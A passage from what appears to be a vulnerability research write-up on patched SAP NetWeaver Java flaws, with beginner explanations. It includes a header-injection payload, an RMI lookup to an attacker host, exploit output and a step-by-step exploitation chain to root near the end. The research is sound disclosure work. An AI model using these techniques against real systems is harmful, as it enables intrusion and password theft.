  4. Find the implementing interfaces of the referenced object, then the interface and its implementation.
  5. Enable the most detailed logging related to the targeted service.
  6. Analyse statically and dynamically.
  7. Track the execution flow and calling stack with the Code Catalogue, live debugging or greps.
  8. Document almost every step, because without a strong documentation base the strategy becomes uncontrollable.
  9. Move to the next service.

Why this order: you cannot analyse a service you do not know exists, so listing comes first. Debugging and logging come next because they let you watch what the program does. Only then do you pick one service and study it. Static analysis means reading code without running it; dynamic analysis means running it and watching. The calling stack is the list of functions currently in progress, like a stack of plates showing which plate was put down first. A grep is a simple text search. Step 8 is not filler: with hundreds of services, notes are the only way to avoid repeating work or losing track.

Finding it

Enumerating P4 services

P4 is based on RMI and the systems expose services through JNDI. A simple JNDI connection performs a lookup, as shown in SAP's documentation:

Line by line:

  • public class P4Example { starts a class, the blueprint of a small program.
  • private static InitialContext ctx = null; declares a variable that will hold the JNDI connection, initially empty.
  • public static void main(String[] args) { is the entry point Java runs first.
  • init("P4://", "localhost", "50004", "User", "Password", null); calls the setup function, saying: use the P4 scheme, connect to this machine (localhost), on port 50004, with a username and password.
  • public static void init(...) is the setup function itself, taking the scheme, host, port, user, password and transport type.
  • Properties p = new Properties(); creates an empty settings bag.
  • if (schema == null) { schema = "P4://"; } defaults the scheme to P4 if none was given.
  • p.put("java.naming.factory.initial", ...) tells Java which SAP class knows how to speak JNDI over P4.
  • p.put("java.naming.provider.url", schema + host + ":" + port) builds the address, for example P4://localhost:50004.
  • p.put("java.naming.security.principal", user) and p.put("java.naming.security.credentials", pass) put the username and password into the bag.
  • ctx = new InitialContext(p); opens the connection using those settings.

Why this step: before you can test anything, you need a working way to talk to the service. This snippet is the standard, documented way to open a JNDI connection to a P4 port.

At this point the names to look up were unknown. The Java systems' Telnet interface was used: adding the NAMING set of commands and running LS -l -f lists all JNDI names with their locations. The list was large, around 4500 services, and some were not remotely lookupable. A Java script filtered out the ones returning errors or null objects, leaving approximately 200 services.

Explained from zero: Telnet is a very old way of typing commands into a remote machine. The Java runtime inside SAP ships with a small management console reachable this way. LS -l -f is a listing command, like listing the contents of a folder. Null means "nothing". So the team asked the system to list every name it knew, got about 4500, then wrote a script to knock on each one and keep only the roughly 200 that answered with something real. Why: 4500 is too many to study by hand, and many of them cannot be reached from outside anyway.

The P4 findings

Across the exposed services, 13 vulnerabilities were reported, ranging from CVSS 5.3 to 10.0:

Service Name Description CVSS CVE
Agent Simulation Pre-auth RCE in Diagnostic Agents running Windows 10.0 CVE-2023-27497
Search Facade SQL injection + DoS 9.9 CVE-2022-41272
Locking DoS + Arbitrary OS File Read 9.9 CVE-2023-23857
Job Bean SQL injection + DoS 9.4 CVE-2022-41271
RFC Engine Anonymous RFC execution + password disclosure 9.4 CVE-2023-0017
OSCommand Bridge Potential RCE in Diagnostic Agents 9.0 CVE-2023-27267
Remote Object Factory JNDI Reference injection (pre-auth start of apps) 8.2 CVE-2023-30744
Agent Simulation HTTP Header Injection in Solution Manager 7.2 CVE-2023-36921
Agent Simulation Unauthenticated blind SSRF in Solution Manager 7.2 CVE-2023-36925
Cache Analyzer Information Disclosure 5.3 CVE-2023-26460
Classload Information Disclosure 5.3 CVE-2023-24526
Deploy Object Information Disclosure 5.3 CVE-2023-24527
Analyzer Information Disclosure 5.3 CVE-2023-27268

Explained from zero: pre-auth means before any login, so with no credentials. SQL injection means tricking a database query into running extra commands by slipping them into a value the program inserts into the query. DoS (denial of service) means making a service unusable for legitimate users. Arbitrary file read means reading any file on the machine, not just the ones intended. Information disclosure means leaking data that should have stayed private. SSRF (server-side request forgery) means making the server itself send a request to a destination of the attacker's choosing, which is useful because the server often sits behind firewalls and can reach places the attacker cannot. HTTP header injection means slipping extra lines into the headers of a web request. Blind means the attacker cannot see the result directly and has to infer it from side effects. Reference injection is the JNDI trick described earlier: making the cloakroom fetch a coat from the attacker's shop.

RFC engine

The JNDI name is rfcengine, the interface RFCRuntimeInterface_Stub. The service implements the RFC functions and communications the Java system supports; the Jco RFC Provider application is used to configure it. To process incoming RFC calls the Java system must be connected to a repository and registered as an External Server in the Gateway of the caller system. All methods of RFCRuntimeInterface_Stub implemented by the rfcengine object required neither authentication nor authorisation.

Explained from zero: RFC (Remote Function Call) is SAP's own way for one SAP system to call a function in another, like a phone call between two offices. Jco is the Java connector library that lets Java programs make those calls. A repository here is a place holding the definitions of the functions. A Gateway is the switchboard that routes RFC calls. Registering as an External Server means telling the switchboard "treat me as a valid endpoint". The _Stub suffix is a common Java naming habit for a stand-in object that forwards calls over the network.

Through addBundle() it was possible to add a new connection to any arbitrary Gateway and repository, meaning an unauthenticated attacker could register the targeted Java system as an External Server in the Gateway of an attacker-controlled ABAP server and then execute RFC calls against the Java system. The impact depends on the functions implemented, which depend on the installed software:

  • On Enterprise Portal, CREATE_AWF_TASK allows creating tasks with arbitrary content assigned to any user, usable to impersonate users and spread phishing.
  • On Solution Manager, it could lead to RCE through FM_MAI_SIMULATION_AGENT or, very rarely, FM_GPCR_OS_COMMAND.

Why this is serious: the attacker does not need to break in. They simply tell the SAP system to phone home to a switchboard the attacker owns, and from then on the attacker can make calls into the SAP system. Phishing is tricking a person into trusting a message; here the attacker could create tasks that look like they came from a colleague.

Separately, getConfigurations() returns all information about JCo connections without authentication. The password is masked when the object is inspected, but because the call runs over P4, traffic analysis showed the actual password is sent by the server. Any anonymous attacker with access to the P4 port can therefore extract all JCo destination configuration, including plain passwords. Patched with SSN 3268093, CVE-2023-0017.

Explained: masking is when a program shows **** instead of a password on screen. It is only cosmetic. If the real password still travels over the wire, anyone who can watch the traffic sees it. Plain means not encrypted.

Search Facade

JNDI name com.sap.aii.af.search.api.SearchFacadeRemote, interface SearchFacade. The object retrieves information about technical data (filters, extractors, component profiles) and interacts intensively with the database. Several remotely exposed functions allow inserting, modifying and deleting those items.

An instance could be obtained remotely through P4 without authentication or authorisation. The delete function was vulnerable to SQL injection: despite prepared statements and correct variable binding, the base query was built dynamically from unsanitised input, so the injection was already present when the variables were bound. The function had no output, so exploitation was blind, but every table of the vulnerable system could be read and exfiltrated by an anonymous remote attacker. Patched with SSN 3273480, CVE-2022-41272.

Explained from zero: a database is an organised store of data, like a very large spreadsheet with many sheets (tables). A query is a question asked of the database, written in a language called SQL. A prepared statement is a safe way to build a query: you write the query with blanks and then fill the blanks separately, so the database treats the filled values as data, never as commands. Binding is the act of filling those blanks. Unsanitised means the value was not cleaned or checked. Exfiltration means stealing data out. Blind here means the attacker gets no direct answer, so they have to ask yes/no questions and infer the data from the responses.

Why the prepared statement did not save it: the team built the base query by gluing text together before the blanks were filled. If the glued text already contains attacker input, the damage is done before the safe filling step. It is like writing a letter where the attacker's sentence is already part of the letterhead.

Locking

JNDI name locking, interface LockinRuntimeInterface_Stub. The object implements the system's lock mechanism: checking which locks are in use and who holds them, acquiring new locks, and reading the profile of the Enqueue Server.

Explained from zero: a lock in software is a way to stop two people changing the same thing at once, like a meeting room key. The Enqueue Server is the SAP component that hands out those keys. Its profile is its configuration file.

All its methods could be called without authentication or authorisation. An unauthenticated attacker could acquire locks continuously, causing the whole system to get stuck, for example by holding application locks that nobody else could use. A way to display the content of any arbitrary OS file was also found. The read ran with <sid>adm privileges and there was no restriction on the file type. SAP systems store credentials encrypted in Secure Storage (SSFS) files in the OS, and publicly available tools can decrypt them, so the file read allows exfiltrating the Secure Storage and decrypting it to obtain plain-text passwords, including database credentials and the Master Password. Patched with SSN 3252433, CVE-2023-23857.

Explained from zero: <sid>adm is the operating-system account that owns an SAP system, where <sid> stands for the system identifier. Secure Storage (or SSFS) is a file where SAP keeps passwords encrypted. Encrypted means scrambled so only someone with the right key can read it. The Master Password is the top-level key that unlocks the others. The chain here is simple and devastating: read any file, grab the encrypted password store, decrypt it with a public tool, and now you have the database password.

Agent Simulation

JNDI name FM_MAI_SIMULATION_AGENT, interface com.sap.sup.admin.connection.factory.AbapFactoryBean. To find the implementation, all jar files from SolMan (around 2000 files, 1G) were downloaded and searched for strings like "simulation" or "mai", which highlighted abapconnector.jar. The exact JNDI name was found in com.sap.sup.admin.connection.factory.AbapFactoryBean, confirming the package. The method parameters are:

Name Type Direction
im_agent_name String input
im_collector_class String input
im_context_params JCO.Table input
im_input_params JCO.Table input
im_metric_params JCO.Table input
ex_metric_data JCO.Table output
exp_rc Char1 output
exp_rc_msg Char1024 output

Explained from zero: a jar file is a zip file full of Java code. Downloading 2000 of them (about a gigabyte) and searching inside is like emptying every drawer in an office to find one document. String means text. JCO.Table is a table of values. Char1 and Char1024 are fixed-length text fields of 1 and 1024 characters. Input means the caller supplies it; output means the server returns it. The im_ and ex_ prefixes are SAP naming conventions for input and export.

IM_AGENT_NAME is the satellite system where a collector class, given in IM_COLLECTOR_CLASS, is executed through RunSimulation. The collector classes were not in SolMan but in the SMDAgent application, so the P4 JNDI service on SolMan acts as a wrapper that launches a Java collector class on a remote SMDAgent. Searching the SMDAgent jars for logical string patterns led to packages named agelet e2emai*; one of these 8 packages contained the collector classes. Around 90 classes can potentially be called from the initial JNDI service, all under com.sap.smd.mai.collector, including:

  • HelloWorldCollector
  • SAPPingHostCollector
  • SimpleFileServiceCollector
  • SimpleFileServiceCollector2
  • SccCollector
  • SAPControlWSCollector
  • LicenseCollector
  • FileServiceCollector
  • FileContentScanCollector
  • EventLogServiceCollector

Explained from zero: a satellite is a managed SAP system, so called because it orbits the central SolMan. A collector is a small program that gathers information, like a meter reader. A wrapper is a thin layer that passes a request on to something else. A package in Java is a folder-like grouping of related classes. The names of the collectors hint at what they do: ping a host, read files, read the Windows event log.

Four facts were established after initial tests: these classes are the correct values for IM_COLLECTOR_CLASS; each has its parameter names stored in IM_CONTEXT_PARAMS, IM_INPUT_PARAMS or IM_METRIC_PARAMS; some implement authentication mechanisms that break anonymous access; and everything is blind, no collector output is ever returned.

Why this matters: the wrapper lets an anonymous caller pick which collector runs and with what settings. Some collectors ask for credentials, which stops the attack there. But the ones that do not are open doors.

Three blind, remotely exploitable, unauthenticated vulnerabilities were found in this service.

SSRF in SAPPingHTTPCollector

SSN 3352058, CVE-2023-36925. The collector performs an "HTTP ping": it crafts and sends one HTTP request to a remote system using attacker-supplied host, port, protocol type, HTTP method, URL path, POST payload and content type, taken from IM_METRIC_PARAMS. The entry point is SolMan over P4, but the request originates from the SMDAgent. Beyond anonymous access to the collector, an arbitrary header injection lets an attacker craft complex requests with credentials, cookies or custom SAP headers. The metric parameter is not verified:

Line by line:

  • public String getHeaderContentType(IMetric metric) declares a function that returns text and takes a metric object.
  • String _me = "getHeaderContentType"; stores the function's own name, a common habit for logging.
  • try { begins a block where errors will be caught.
  • String contentType = getMetricParamAsString(metric, "HEADER_CONTENT_TYPE", false); reads the value named HEADER_CONTENT_TYPE out of the metric and stores it. The false likely means "not required".
  • return contentType; hands the value straight back.

The point: the value is read and returned with no check at all. Whatever the caller puts in becomes the content type of the outgoing request. Content type is the header that tells the receiver what kind of data is coming, for example text/html.

Explained from zero: a cookie is a small piece of data a website stores in your browser to remember you. A header is a line of metadata at the top of an HTTP request, like the address block on an envelope. If an attacker can add headers, they can add a cookie or an authorisation header, which is why header injection is dangerous.

SSRF in SAPGrmgClassicCollector

SSN 3348145, CVE-2023-36921. Similar purpose: it crafts and sends one HTTP request to a remote system using IM_INPUT_PARAMS. The entry point is SolMan, the request is performed from an SMDAgent. The attacker controls target host, port, protocol type, HTTP method, URL path and payload, and can inject \r\n in the URL parameter to add arbitrary headers:

Java
params.setValue("/aaa? HTTP/1.1" + "\r\n"
    + "Soapaction: " + "\r\n"
    + "User-Agent: Ona Agent" + "\r\n"
    + "Garbage: ", "VALUE");

Line by line:

  • params.setValue(...) stores a value into a parameter table.
  • "/aaa? HTTP/1.1" is the start of a URL path, followed by a space and the HTTP version.
  • + "\r\n" appends a carriage return and line feed. In HTTP, \r\n marks the end of a line, so this is how you start a new header line.
  • + "Soapaction: " + "\r\n" adds a header named Soapaction with an empty value.
  • + "User-Agent: Ona Agent" + "\r\n" adds a User-Agent header, which normally says what browser or program is calling.
  • + "Garbage: " starts one more header.

Why this works: the program puts the URL into the request without checking for \r\n. Those two characters are the line break of HTTP, so the attacker can end the URL line early and start writing their own headers. It is like writing a letter where the attacker can insert extra lines into the address block.

The request received by the listener:

HTTP
POST /aaa? HTTP/1.1
Soapaction:
User-Agent: Ona Agent
Garbage: HTTP/1.1
Host: somewhere:1234
Content-Length: 666
Content-Type: text/html
User-Agent: SAP HTTP CLIENT/6.40

Reading this: the first line says it is a POST to /aaa? using HTTP/1.1. Then come the headers. Notice Garbage: HTTP/1.1: the attacker's injected line swallowed the real HTTP version, and the rest of the request follows. There are two User-Agent headers, one from the attacker and one from SAP's own client. The Host header says where the request is going. This is exactly what the attacker wanted: full control over the request the server sends.

RCE in EventLogServiceCollector

SSN 3305369, CVE-2023-27497. The collector gathers Windows Event Log entries using wevtutil.exe:

Text
protected static String wevtutil = "cmd /q /c " + windir + "\\system32\\wevtutil.exe qe AllEvents /rd:true /f:text /q:\"<QueryList>

Line by line:

  • protected static String wevtutil = declares a shared text value holding a command.
  • "cmd /q /c " starts the Windows command interpreter; /q means quiet, /c means run the following command and exit.
  • + windir + "\\system32\\wevtutil.exe" builds the path to the Windows event log tool, using the windir variable (the Windows folder).
  • qe AllEvents /rd:true /f:text /q:\"<QueryList> asks the tool to query all events, read them, output as text, and filter with a query that begins here.

Explained from zero: the Windows Event Log is the system's diary of what happened. wevtutil.exe is the built-in tool to read it. The command is assembled by gluing text together, and one of the pieces comes from the attacker.

One parameter in IM_METRIC_PARAMS is a variable in the final command line and is controlled by the attacker. The payload must avoid \t\n\r\f characters, but any OS command can be executed as daaadm, the owner of SMDAgent. The flow is: attacker over P4 to Solution Manager, P4 to the SMDAgent on Windows, then cmd and the OS.

Explained: \t, \n, \r, \f are tab, newline, carriage return and form feed. Avoiding them is a small constraint, not a real obstacle. OS command means a command run by the operating system itself, not by the SAP program. So the attacker can run anything the daaadm user can run.

Impact of the P4 findings

The components holding most of these vulnerabilities are shared by almost every SAP Java based solution, including Solution Manager, PI/PO, Enterprise Portal and CRM. An unauthenticated attacker can:

  • Read and exfiltrate arbitrary OS files
  • Read and exfiltrate arbitrary database tables
  • Register the vulnerable system as a Registered Server in arbitrary systems
  • Execute RFC functions against the vulnerable system
  • Access pre-configured JCo plain-text passwords
  • Leak technical information
  • Perform SSRF attacks
  • Cause complete or partial service disruption (DoS)
  • Achieve remote code execution (Windows only)

Why this list matters: each item alone is bad; together they give an attacker a full toolkit. Reading files gives passwords; passwords give database access; database access gives data; SSRF gives a way into the internal network; RCE gives the machine itself.

JNDI reference injection in the Portal

JEA against the latest Enterprise Portal version flagged the NavigationServlet application and NavigationsWS web service as exposed without authentication. Both converge on the Portal's Navigation service, which manages the content displayable to each user and builds a navigation tree whose nodes can be content, collections, pages and so on. To look up the content to display, the Navigation implementation uses JNDI 1.3.

Explained from zero: a servlet is a small Java program that runs on a web server and answers HTTP requests. A web service here is a SOAP endpoint, meaning it expects a structured envelope rather than a plain web page. Navigation is the menu system of the Portal: it decides what each user sees. A navigation tree is that menu drawn as branches and leaves. JNDI 1.3 is a version of the JNDI standard.

Connectors and Redirectors are identified by prefixes: pcd: for the PCD redirector, ROLES: for the ROLES connector. When a node name is looked up, the Navigation Service delegates to a class based on the prefix; for example pcd://xxxxx is handled by com.sapportals.portal.pcd.pcm.roles.RoleNavigationPcdRedirector. The standard set found in a basic implementation:

Type Prefix Class
R pcd com.sapportals.portal.pcd.pcm.roles.RoleNavigationPcdRedirector
R pcdh com.sapportals.portal.pcd.pcm.roles.RoleNavigationHashRedirector
R TBN com.sap.portal.tbn.redirector.TBNRedirector
R OBN com.sap.portal.obn.redirector.OBNRedirector
C ROLES com.sapportals.portal.pcd.pcm.roles.RoleNavigationConnector
C gpn com.sap.portal.ivs.global.navigation.connector.GPNavigationConnector
C ModeledContent com.sap.portal.modeling.preview.navigation.PreviewNavConnector
C CollaborationConnector com.sapportals.portal.pcd.pcm.roles.RoleNavigationConnector

Explained from zero: a prefix is the first part of a name, like the https:// in a web address. A Connector fetches content from somewhere; a Redirector forwards the request to another handler. The table says: if the name starts with pcd, hand it to this class; if it starts with ROLES, hand it to that class. This is a sensible design, but it becomes dangerous if the name itself is not checked.

The candidate method was getNode(Hashtable env, String nodeName). With a pcd:// prefix, getNode() delegates to RoleNavigationPcdRedirector.redirect(), whose code is a standard JNDI lookup:

Line by line:

  • class RoleNavigationPcdRedirector { starts the class.
  • public redirect(String pcdURL, HashTable env) { declares a function taking a URL and a settings table.
  • context obj = getPersistenceRootContext(env).lookup(pcdURL); first builds a JNDI context from the settings, then asks it to look up the URL.

Why this is the key line: lookup(pcdURL) is the cloakroom counter. If pcdURL is attacker-controlled, the attacker chooses what gets fetched.

The JNDI context is created in getPersistenceRootContext from env, and the lookup uses nodeName (pcdURL). If an attacker controls nodeName, they control the lookup. getNavigationTree() has execution paths leading to getNode(), is exposed indirectly through both endpoints found by JEA, requires no authentication, and passes caller-supplied parameters down to redirect(). So any unauthenticated party using NavigationServlet or NavigationWS has full control over redirect()'s parameters and can execute an arbitrary JNDI lookup. PCD was not the only vulnerable redirector: other connectors and redirectors suffered the same consequences, and a second function, getSelectedPathTree(), is also an entry point.

Why this matters: the attacker does not need to find a hidden door. They use the normal menu request, put a crafted name in it, and the Portal itself performs the lookup.

Exploiting the lookup

With the PCD scenario, an RMI connection to an attacker-controlled server was forced with a node name like:

Text
pcd://rmi://<host>:<port>/foo

Reading this: pcd:// selects the PCD redirector. rmi:// tells JNDI to use the RMI provider. <host>:<port> is the attacker's own server. /foo is a name on that server. The socket server received the JRMIK magic bytes, confirming the vulnerability.

Explained from zero: magic bytes are a fixed sequence of bytes a protocol sends at the start of a connection so the other side knows what language is being spoken. JRMIK is the RMI handshake. Seeing it at your own server proves the target really did connect to you.

Loading classes remotely was blocked by the protections almost every Enterprise Portal JVM has. Michael Stepankin's technique of referencing a class already in the classpath was a candidate but his class was not present in this context, so the idea became to find an SAP gadget in the class path.

Explained from zero: the JVM is the Java Virtual Machine, the program that runs Java code. A classpath is the list of places the JVM looks for classes. A gadget in security slang is an existing piece of code that, when reached in an unexpected way, does something useful to an attacker. The team could not bring their own class, so they looked for one already inside SAP that would do the job.

Live debugging showed the path followed when a JNDI reference is loaded. NamingManager.getObjectInstance() runs, and the builder object is never null, so it executes:

Line by line:

  • public Object getObjectInstance(Object ref, ...) is the entry point that JNDI calls when it has a reference to turn into a real object.
  • ObjectFactoryBuilder b = getObjectFactoryBuilder(); gets the builder, the thing that knows how to make factories.
  • ObjectFactory f = b.createObjectFactory(ref); asks the builder to create a factory based on the reference.
  • return f.getObjectInstance(ref,..); calls the factory to finally produce the object.

Why this matters: the reference controls which factory is created. If the attacker controls the reference, they control which factory runs.

Inside the factory's getObjectInstance(): the factory class name is extracted from refInfo, findObjectFactory is called with it, and the resulting factory's getObjectInstance is called:

Line by line:

  • String factoryClassName = refInfo.getFactoryClassName(); reads the class name out of the reference. This is attacker-controlled.
  • ObjectFactory fact = findObjectFactory(factoryClassName); asks for an instance of that class.
  • return fact.getObjectInstance(); calls it.
  • Class factoryClass = Class.forName(factoryClassName, thread.getContextClassLoader()); loads the named class using the current thread's class loader.
  • return (ObjectFactory) factoryClass.newInstance(); creates a new instance and casts it to ObjectFactory.

Explained from zero: Class.forName is Java's way of loading a class by name at runtime. Casting is telling the program "treat this as a particular type". If the class cannot be cast to ObjectFactory, this fails.

So a class usable through a JNDI reference must be castable to ObjectFactory, implement getObjectInstance(), be interesting from an exploitation perspective (returning null is useless), and be loadable by the thread. More than 60 candidates met the first two conditions; the fourth was harder and needed dynamic analysis. One class met all: EJBObjectFactory.

Explained from zero: EJB (Enterprise JavaBeans) is a Java standard for building server-side business components. EJBObjectFactory is SAP's class for finding and returning EJB objects.

EJBObjectFactory searches for and returns an EJB object. Its getObjectInstance() calls resolveReference() in DefaultRemoteObjectFactory with the JNDI Reference as argument. resolveReference() gathers EJB characteristics (interfaceType, appName, beanName) from the reference and calls getEnterpriseBeansContainers() in DefaultContainerRepository, which finds matching EJB objects. It first gets all applications matching the application name via getOrderedTargetApps(), which extracts the application name from the reference and, before searching the EJB container, calls startApp() with that name. No authentication or authorisation has been provided at this point, so arbitrary applications can be turned on anonymously:

Java
Object getObjectInstance(ref jndiRef) {
    resolveReference(jndiRef);
}

Object resolveReference(ref jndiRef) {
    getEnterpriseBeans(jndiRef);
}

Object getEnterpriseBeans(jndiRef) {
    getOrderedApps(jndiRef);
}

Object getOrderedApps(ref jndiRef) {
    ejbContainer = getEJBContainer();
    appName = jndiRef.getAppName();
    appName.startApp(); <----
    ejbContainer.getApp(appName);
}

Line by line:

  • getObjectInstance calls resolveReference.
  • resolveReference calls getEnterpriseBeans.
  • getEnterpriseBeans calls getOrderedApps.
  • getOrderedApps gets the EJB container, reads the application name from the reference, calls startApp() on it, then asks the container for the application.

The arrow marks the crucial line: startApp() runs before any check. Container here is the part of the server that hosts applications. The attacker supplies the application name, and the server starts it.

This was patched in April 2023 with SSN 3289994, CVE-2023-28761, with a medium CVSS of 6.5. The final impact depends on what the started application can do, but it opens stopped-by-default applications to attack. Custom applications should also be considered, and where vulnerable applications were turned off instead of patched, this vector could be catastrophic. One application stopped by default could allow unauthenticated attackers to further compromise the system, a chained attack introduced in further sections.

Why a 6.5 matters: on its own, starting an application sounds mild. But many companies switch off a vulnerable application instead of patching it, assuming nobody can reach it. This finding breaks that assumption.

Exploitation variants fall into four groups:

  1. Entry point: NavigationServlet (a servlet, exploitable with GET) or NavigationWS (a SOAP service, requiring POST), both over HTTP.
  2. Main function: getNavigationTree() or getSelectedPathTree().
  3. Connectors/Redirectors: multiple JNDI reference injection points depending on the class used; several lead to successful exploitation.
  4. Resolvers: the Java Naming package provides LDAP, RMI, IIOP and others, each with its own resolver. Only RMI was focused on, but IIOP is believed usable too. LDAP seemed impossible because of how SAP manages the NavigationPrincipal object.

Explained from zero: GET and POST are the two most common HTTP methods. GET asks for something and puts parameters in the URL; POST sends data in the body. IIOP is the internet version of CORBA's protocol. A resolver is the part of JNDI that knows how to talk to one particular provider.

Reverseless exploitation

JNDI lookup exploitation normally needs a reverse connection, because an RMI server exposing a JNDI Reference is required, which firewalls and security products can detect; in SAP systems an RMI connection is rarely benign. SAP implements its own JNDIResolvers, including the "EJB" resolver, which creates a JNDIejbResolverContext. Its lookup() does two things: create the JNDI reference from the lookup string via createReferenceFromSchemeLookupString(), then call EJBObjectFactory.getObjectInstance() with that reference:

Line by line:

  • class JNDIejbResolverContext { starts the resolver's context class.
  • Object lookup(jndiName) { declares the lookup function.
  • ref = createReferenceFromSchemeLookupString(jndiName); builds a reference from the name itself.
  • EJBObjectFactory.getObjectInstance(ref); hands that reference to the factory.

Why this is elegant: normally the attacker has to run a server and wait for the target to connect back. Here, the target builds the reference itself from the name the attacker supplied. No callback, no reverse connection, nothing for a firewall to notice.

createReferenceFromSchemeLookupString extracts EJB characteristics (appName, interfaceType) from the jndiName and builds a reference. This is exactly what the manual attack built and served over RMI. By crafting the EJB characteristics inside the looked-up name, the reverse connection is no longer needed, so applications can be started through JNDI reference injection without one.

Start Service

Two SOAP methods under SAPOsCol, SendRequestAsync and SendRequest, are accessible locally without authentication or authorisation and mishandle a parameter, causing a stack-based buffer overflow in the saposcol Unix binary. Exploitability is easy for four reasons:

  1. The crash is reliable and occurs at a ret with a controlled RSP.
  2. The libc version can be leaked with GetHwConfText, another method in the same namespace, also without local authentication.
  3. GetHwConfText also bypasses ASLR: it leaks the current RIP of the running saposcol.
  4. Only NX is enabled on the binary.

Explained from zero, because this is the most technical part:

  • A buffer overflow happens when a program writes more data into a fixed-size space than it can hold, so the extra data spills into neighbouring memory. If the spilled data lands where the program keeps its next instruction address, the attacker can redirect execution.
  • Stack-based means the overflow happens on the stack, the region of memory used for temporary data and return addresses.
  • RSP is the register that points to the current top of the stack. RIP is the register that holds the address of the next instruction to run. ret is the instruction that returns from a function by jumping to the address on the stack.
  • libc is the standard C library present on Linux. It contains useful functions such as system, which runs a command.
  • ASLR (address space layout randomisation) is a defence that shuffles memory addresses each time a program starts, so an attacker cannot know where things are. Leaking an address defeats it.
  • NX (no-execute) is a defence that marks some memory as not runnable. PIE (position-independent executable) and RELRO are further defences; the checksec output below shows which are missing.
  • ret2libc is a classic technique: instead of injecting your own code, you redirect execution to a function already in libc, such as system, with arguments you control.

Reading this: the binary is 64-bit little-endian. RELRO is off, so some memory tables can be overwritten. There is no stack canary, a small random value that normally detects overflows. NX is on, so injected code cannot run, which is why ret2libc is used. PIE is off, so the program always loads at the same address, 0x400000.

GetHwConfText runs sapsysinfo.sh as root and returns the whole output, including the result of cat /proc/[1-9]*/stat (line 2654 of the script), where entries can be filtered for saposcol to get its process status file. An example:

Text
2998 (saposcol) S 1 2998 2998 0 -1 1077944640 9008285 117854845 1 78 15505 37835 30224 54924 20 0 1 0 4916206973 27897856 946 18446744073709551615 4194304 6643541 140721156071872 140721156059176 140567129181712 0 65536 162533383 17920 18446744071680322219 0 0 17 0 0 0 111 0 0 7692288 7766592 24748032 140721156079070 140721156079147 140721156079147 140721156079577 0

Explained: /proc is a special folder on Linux where the kernel exposes information about running programs. Each number is a process ID. The stat file describes a process. The line above is the status of the saposcol process. Most of the numbers are counters; the interesting one is the 28th.

The 28th number is the current RIP, 140721156071872 (0x7ffc328521c0). With the libc version and the fact that the service usually waits in __nanosleep_nocancel+7, the libc base offset can be calculated and a ret2libc exploitation performed:

Line by line:

  • python3 libc_leaks.py -t saphost -p 1129 runs a script against host saphost on port 1129.
  • The [+] lines report progress: connected, received 385.01 KB, closed.
  • Libc version found: glibc 2.17 is the library version, needed to know the offsets of functions inside it.
  • Saposcol leak: 0x7f8d7e9c6e10 is the leaked address.
  • Libc base: 0x7f8d7e902000 is where libc starts in memory.
  • Libc system: 0x7f8d7ecde4c0 is the address of the system function, which runs a command.
  • Libc /bin/sh: 0x7f8d7ea88f89 is the address of the string /bin/sh, the shell.
  • Libc gadget: 0x7f8d7e944fd8 and Libc pop rdi: 0x7f8d7e924ac8 are small instruction sequences used to set up arguments.
  • Payload: b'AAAAAAAAAAAAA<redacted>' is the overflow data, starting with filler.

Why this works: once you know where libc is, you know where system is, and you can point the program at it with /bin/sh as the argument. The <redacted> marks where the real payload was removed.

Patched with SSN 3275727, CVE-2023-27498.

A more reliable, OS-independent OS command injection was found in ConfigureOutsideDiscovery under SAPHostControl. One parameter is used in a move/mv command that transfers a configuration file from a temporary directory to the final one, and arbitrary OS commands can be injected into it. The command runs as root or nt authority/system:

Line by line:

  • [Thr 140226482845568] is a thread identifier, so you can tell which thread logged the line.
  • received CommandData: ... shows the request that arrived.
  • CommandManager::StartOSCommand: start /bin/sh shows the program starting a shell.
  • Environment: lists the environment variables, including USER=root, which proves the command runs as root.
  • Executing command "/bin/sh -c mv -f ... slddest_INJECTION.cfg" is the final command. The filename contains INJECTION, showing the attacker's text ended up in the command.

Why this is worse than the overflow: it works on any operating system, does not depend on memory layout, and runs as root. Command injection means slipping extra shell commands into a value that is later pasted into a command line.

Patched with SSN 3285757, CVE-2023-24523.

Exploitation

Step 1: reach P4 anonymously

Connect to port 5NN04 on the target Java NetWeaver system and perform JNDI lookups with the SAP initial context factory, as in the P4Example listing above. No credentials are needed for the vulnerable services.

Why: this is the front door. The attacker only needs network access to the port.

Step 2: enumerate services

Use the Telnet interface with the NAMING command set and LS -l -f, then filter with a script to keep the roughly 200 remotely lookupable services.

Why: you need a map before you can choose a target.

Step 3: pick a service and its interface

For each JNDI name, use the custom scripts to list the interfaces the proxy implements, then locate the interface and implementation. For example rfcengine maps to RFCRuntimeInterface_Stub, locking to LockinRuntimeInterface_Stub.

Why: the interface tells you which methods exist, and the methods are where the bugs live.

Step 4: exercise the methods

  • On rfcengine, call addBundle() to register the target as an External Server in an attacker-controlled ABAP Gateway, then run RFC calls; call getConfigurations() and read the plain JCo passwords from the P4 traffic.
  • On SearchFacade, call delete with unsanitised input to inject SQL into the dynamically built base query; the result is blind, so exfiltrate tables through blind techniques.
  • On locking, call the lock methods repeatedly to hold locks and stall the system, and use the file read to fetch the Secure Storage and decrypt it.

Why: each method is a different lever. One gives a phone line into the system, one gives the database, one gives the password store.

Step 5: start a stopped application through JNDI

Send a lookup whose node name carries the pcd:// prefix and an RMI URL pointing at your server:

Text
pcd://rmi://<host>:<port>/foo

Confirm the JRMIK magic bytes arrive. Serve a JNDI Reference whose factory class is EJBObjectFactory and whose appName is the stopped application. The Portal calls startApp() on it without authentication. To avoid the reverse connection, use the EJB resolver and encode the EJB characteristics in the looked-up name so createReferenceFromSchemeLookupString() builds the reference locally.

Why: this turns a switched-off application back on, which is useful when the application itself has a known bug that was never patched.

Step 6: chain to root through SolMan

Because the Start Service command injection can be triggered locally without authentication through a SOAP web service, it can be driven from the SSRF and header injection in SAPPingHTTPCollector on every SMDAgent managed by SolMan. The only entry point needed is unauthenticated access to FM_MAI_SIMULATION_AGENT over P4. The chain is: attacker over P4 to Solution Manager, P4 to the remote SAP system's SMDAgent, HTTP to localhost:1128 (SAP Host Control), then cmd and the OS as root. This compromises all SAP systems connected to the targeted SolMan.

Why this is the headline: the Start Service only accepts the dangerous command locally, so an attacker on the internet cannot reach it directly. But the SSRF makes the SMDAgent send a request to localhost:1128, which is local from the SMDAgent's point of view. The firewall never sees an outside attacker; it sees the server talking to itself. One entry point, one chain, every satellite compromised.

Root cause

